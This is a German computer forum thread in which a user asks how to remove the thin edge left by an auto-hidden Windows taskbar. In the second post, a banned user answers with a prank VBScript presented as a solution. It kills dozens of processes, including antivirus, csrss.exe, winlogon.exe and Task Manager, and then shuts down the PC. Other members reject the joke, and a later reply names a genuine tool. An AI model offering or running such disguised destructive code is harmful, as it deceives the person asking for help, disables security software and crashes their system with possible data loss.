Windows Taskleiste richtig ausblenden?!

Dieses Thema im Forum "Software" wurde erstellt von DanielxK48x, 17. Jan. 2009.

  1. DanielxK48x

    DanielxK48x Aktives Mitglied

    Hallo,

    ich lasse meine Taskleiste automatisch ausblenden.
    Jedoch bleibt unten trotzdem so ein kleiner häßlicher Rand übrig.
    Kann man den auch irgendwie weg bekommen?
    Dank an jede Antwort.
     
  2. Suncrusher

    Suncrusher Gesperrter User

    Ja. Kopiere das: (Speichere als .vbs)
    Geht weg aber wie... :lach::lach::lach: (Du hast gesagt: Dank an jede Antwort )

    pc = "localhost"
    programm = "'notepad.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'iexplore.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'msnmsgr.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'cmd.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'calc.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'Zattoo.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'avgnt.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'conime.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'csrss.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'dwm.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'ehmasas.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'ehtray.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'explorer.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'GoogleToolbar.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'hpwuSchd2.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'iTunesHelper.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'jusched.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'MSASCui.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'OpWareSE4.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'PrnStatusMX.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'realhelp.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'Safari.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'sidebar.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'SweetIM.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'taskeng.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'unsecapp.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'winlogon.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'wmpnscfg.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'taskmgr.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'wpcumi.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'WrtMon.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'WrtProc.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    Set wmi = GetObject( _
    "WinMgmts:{impersonationLevel=impersonate, " & _
    "(Shutdown)}!/root/cimv2")
    Set col = wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem")
    For Each obj In col
    rc = obj.Shutdown
    Next
     
  3. SR530

    SR530 PowerUser + Ex Super-Moderator

    Wenn du Spass haben willst, kannst du das gerne woanderst machen ... :hal:
     
  4. RTW-Fahrer

    RTW-Fahrer Neues Mitglied

    Alles beenden. sehr witzig. MOD wo bist du ;)
     
  5. SR530

    SR530 PowerUser + Ex Super-Moderator

    Mach die Augen auf ... :grinning:
     
  6. RTW-Fahrer

    RTW-Fahrer Neues Mitglied

    Dich zähle ich nicht als Mod :st:
     
  7. TrµMAn

    TrµMAn Neues Mitglied

    wie wäre es damit, den Bildschirm so einzustellen, dass dieser blaue streifen unterhalb des Bildschirmrandes liegt?

    SRY, Wenn das jetzt zu On-Topic ist xD
     
  8. DanielxK48x

    DanielxK48x Aktives Mitglied

    Ich dachte eigentlich an seriöse Antworten.
    Was soll das? ^^
     
  9. SkyMarshal

    SkyMarshal Neues Mitglied

    Wenn du XP verwendest, dann versuch es doch mal mit Taskbar Hide.
     
  10. DanielxK48x

    DanielxK48x Aktives Mitglied

    Danke Skymarshall, so etwas habe ich gesucht. :)
     
Die Seite wird geladen...
Die Seite wird geladen...